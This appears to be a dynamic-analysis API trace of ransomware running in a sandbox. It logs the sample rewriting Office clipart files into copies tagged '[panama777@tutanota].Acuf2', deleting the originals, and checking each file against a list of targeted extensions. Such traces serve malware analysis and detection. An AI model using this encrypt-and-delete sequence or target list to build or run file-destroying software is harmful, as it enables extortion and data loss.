	[0260.014] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.014] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0260.014] GetLastError () returned 0x0
	[0260.014] ReadFile (in: hFile=0x33c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x2856, lpOverlapped=0x0) returned 1
	[0260.016] WriteFile (in: hFile=0x350, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x2860, lpOverlapped=0x0) returned 1
	[0260.017] ReadFile (in: hFile=0x33c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.017] WriteFile (in: hFile=0x350, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0260.017] SetEndOfFile (hFile=0x350) returned 1
	[0260.017] CloseHandle (hObject=0x350) returned 1
	[0260.017] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.017] SetEndOfFile (hFile=0x33c) returned 1
	[0260.019] CloseHandle (hObject=0x33c) returned 1
	[0260.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.019] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf")) returned 1
	[0260.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62
	[0260.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62
	[0260.020] lstrlenW (lpString=".doc") returned 4
	[0260.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.020] lstrlenW (lpString=".docx") returned 5
	[0260.020] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0260.020] lstrlenW (lpString=".pdf") returned 4
	[0260.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.020] lstrlenW (lpString=".xls") returned 4
	[0260.020] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.020] lstrlenW (lpString=".xlsx") returned 5
	[0260.020] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0260.020] lstrlenW (lpString=".ppt") returned 4
	[0260.020] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62
	[0260.020] lstrlenW (lpString=".zip") returned 4
	[0260.020] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.020] lstrlenW (lpString=".rar") returned 4
	[0260.020] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.020] lstrlenW (lpString=".bz2") returned 4
	[0260.020] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.020] lstrlenW (lpString=".7z") returned 3
	[0260.020] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62
	[0260.020] lstrlenW (lpString=".dbf") returned 4
	[0260.020] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62
	[0260.020] lstrlenW (lpString=".1cd") returned 4
	[0260.020] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62
	[0260.020] lstrlenW (lpString=".jpg") returned 4
	[0260.021] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62
	[0260.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62
	[0260.021] lstrlenW (lpString=".doc") returned 4
	[0260.021] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.021] lstrlenW (lpString=".docx") returned 5
	[0260.021] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0260.021] lstrlenW (lpString=".pdf") returned 4
	[0260.021] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.021] lstrlenW (lpString=".xls") returned 4
	[0260.021] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.021] lstrlenW (lpString=".xlsx") returned 5
	[0260.021] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0260.021] lstrlenW (lpString=".ppt") returned 4
	[0260.021] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62
	[0260.021] lstrlenW (lpString=".zip") returned 4
	[0260.021] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.021] lstrlenW (lpString=".rar") returned 4
	[0260.021] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.021] lstrlenW (lpString=".bz2") returned 4
	[0260.021] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.021] lstrlenW (lpString=".7z") returned 3
	[0260.021] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62
	[0260.021] lstrlenW (lpString=".dbf") returned 4
	[0260.021] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62
	[0260.021] lstrlenW (lpString=".1cd") returned 4
	[0260.021] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62
	[0260.021] lstrlenW (lpString=".jpg") returned 4
	[0260.022] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.022] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0260.022] lstrlenW (lpString="DD00372_.WMF") returned 12
	[0260.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0260.023] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=792) returned 1
	[0260.023] CloseHandle (hObject=0x33c) returned 1
	[0260.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf")) returned 0x20
	[0260.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0260.023] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.023] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0260.024] GetLastError () returned 0x0
	[0260.024] ReadFile (in: hFile=0x33c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x318, lpOverlapped=0x0) returned 1
	[0260.025] WriteFile (in: hFile=0x350, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x320, lpOverlapped=0x0) returned 1
	[0260.026] ReadFile (in: hFile=0x33c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.026] WriteFile (in: hFile=0x350, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.026] SetEndOfFile (hFile=0x350) returned 1
	[0260.026] CloseHandle (hObject=0x350) returned 1
	[0260.026] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.026] SetEndOfFile (hFile=0x33c) returned 1
	[0260.028] CloseHandle (hObject=0x33c) returned 1
	[0260.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.029] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf")) returned 1
	[0260.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63
	[0260.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63
	[0260.029] lstrlenW (lpString=".doc") returned 4
	[0260.029] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.029] lstrlenW (lpString=".docx") returned 5
	[0260.029] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.029] lstrlenW (lpString=".pdf") returned 4
	[0260.029] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.029] lstrlenW (lpString=".xls") returned 4
	[0260.029] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.029] lstrlenW (lpString=".xlsx") returned 5
	[0260.029] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.029] lstrlenW (lpString=".ppt") returned 4
	[0260.029] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63
	[0260.029] lstrlenW (lpString=".zip") returned 4
	[0260.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.029] lstrlenW (lpString=".rar") returned 4
	[0260.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.029] lstrlenW (lpString=".bz2") returned 4
	[0260.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.029] lstrlenW (lpString=".7z") returned 3
	[0260.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63
	[0260.030] lstrlenW (lpString=".dbf") returned 4
	[0260.030] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63
	[0260.030] lstrlenW (lpString=".1cd") returned 4
	[0260.030] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63
	[0260.030] lstrlenW (lpString=".jpg") returned 4
	[0260.030] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63
	[0260.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63
	[0260.030] lstrlenW (lpString=".doc") returned 4
	[0260.030] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.030] lstrlenW (lpString=".docx") returned 5
	[0260.030] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.030] lstrlenW (lpString=".pdf") returned 4
	[0260.030] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.030] lstrlenW (lpString=".xls") returned 4
	[0260.030] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.030] lstrlenW (lpString=".xlsx") returned 5
	[0260.030] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.030] lstrlenW (lpString=".ppt") returned 4
	[0260.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63
	[0260.030] lstrlenW (lpString=".zip") returned 4
	[0260.030] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.030] lstrlenW (lpString=".rar") returned 4
	[0260.030] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.030] lstrlenW (lpString=".bz2") returned 4
	[0260.030] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.030] lstrlenW (lpString=".7z") returned 3
	[0260.030] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63
	[0260.031] lstrlenW (lpString=".dbf") returned 4
	[0260.031] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63
	[0260.031] lstrlenW (lpString=".1cd") returned 4
	[0260.031] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63
	[0260.031] lstrlenW (lpString=".jpg") returned 4
	[0260.031] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.031] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0260.031] lstrlenW (lpString="DD00405_.WMF") returned 12
	[0260.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0260.031] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=17584) returned 1
	[0260.031] CloseHandle (hObject=0x33c) returned 1
	[0260.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf")) returned 0x20
	[0260.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0260.032] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.032] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0260.033] GetLastError () returned 0x0
	[0260.033] ReadFile (in: hFile=0x33c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x44b0, lpOverlapped=0x0) returned 1
	[0260.035] WriteFile (in: hFile=0x350, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x44c0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x44c0, lpOverlapped=0x0) returned 1
	[0260.036] ReadFile (in: hFile=0x33c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.036] WriteFile (in: hFile=0x350, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.036] SetEndOfFile (hFile=0x350) returned 1
	[0260.036] CloseHandle (hObject=0x350) returned 1
	[0260.036] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.036] SetEndOfFile (hFile=0x33c) returned 1
	[0260.038] CloseHandle (hObject=0x33c) returned 1
	[0260.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.038] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf")) returned 1
	[0260.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63
	[0260.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63
	[0260.039] lstrlenW (lpString=".doc") returned 4
	[0260.039] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.039] lstrlenW (lpString=".docx") returned 5
	[0260.039] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.039] lstrlenW (lpString=".pdf") returned 4
	[0260.039] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.039] lstrlenW (lpString=".xls") returned 4
	[0260.039] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.039] lstrlenW (lpString=".xlsx") returned 5
	[0260.039] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.039] lstrlenW (lpString=".ppt") returned 4
	[0260.039] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63
	[0260.039] lstrlenW (lpString=".zip") returned 4
	[0260.039] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.039] lstrlenW (lpString=".rar") returned 4
	[0260.039] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.039] lstrlenW (lpString=".bz2") returned 4
	[0260.039] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.039] lstrlenW (lpString=".7z") returned 3
	[0260.039] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63
	[0260.039] lstrlenW (lpString=".dbf") returned 4
	[0260.039] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63
	[0260.040] lstrlenW (lpString=".1cd") returned 4
	[0260.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63
	[0260.040] lstrlenW (lpString=".jpg") returned 4
	[0260.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63
	[0260.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63
	[0260.040] lstrlenW (lpString=".doc") returned 4
	[0260.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.040] lstrlenW (lpString=".docx") returned 5
	[0260.040] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.040] lstrlenW (lpString=".pdf") returned 4
	[0260.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.040] lstrlenW (lpString=".xls") returned 4
	[0260.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.040] lstrlenW (lpString=".xlsx") returned 5
	[0260.040] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.040] lstrlenW (lpString=".ppt") returned 4
	[0260.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63
	[0260.040] lstrlenW (lpString=".zip") returned 4
	[0260.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.040] lstrlenW (lpString=".rar") returned 4
	[0260.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.040] lstrlenW (lpString=".bz2") returned 4
	[0260.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.040] lstrlenW (lpString=".7z") returned 3
	[0260.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63
	[0260.040] lstrlenW (lpString=".dbf") returned 4
	[0260.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63
	[0260.040] lstrlenW (lpString=".1cd") returned 4
	[0260.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63
	[0260.041] lstrlenW (lpString=".jpg") returned 4
	[0260.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.041] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0260.041] lstrlenW (lpString="DD00407_.WMF") returned 12
	[0260.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0260.041] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=7828) returned 1
	[0260.041] CloseHandle (hObject=0x33c) returned 1
	[0260.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf")) returned 0x20
	[0260.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0260.042] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
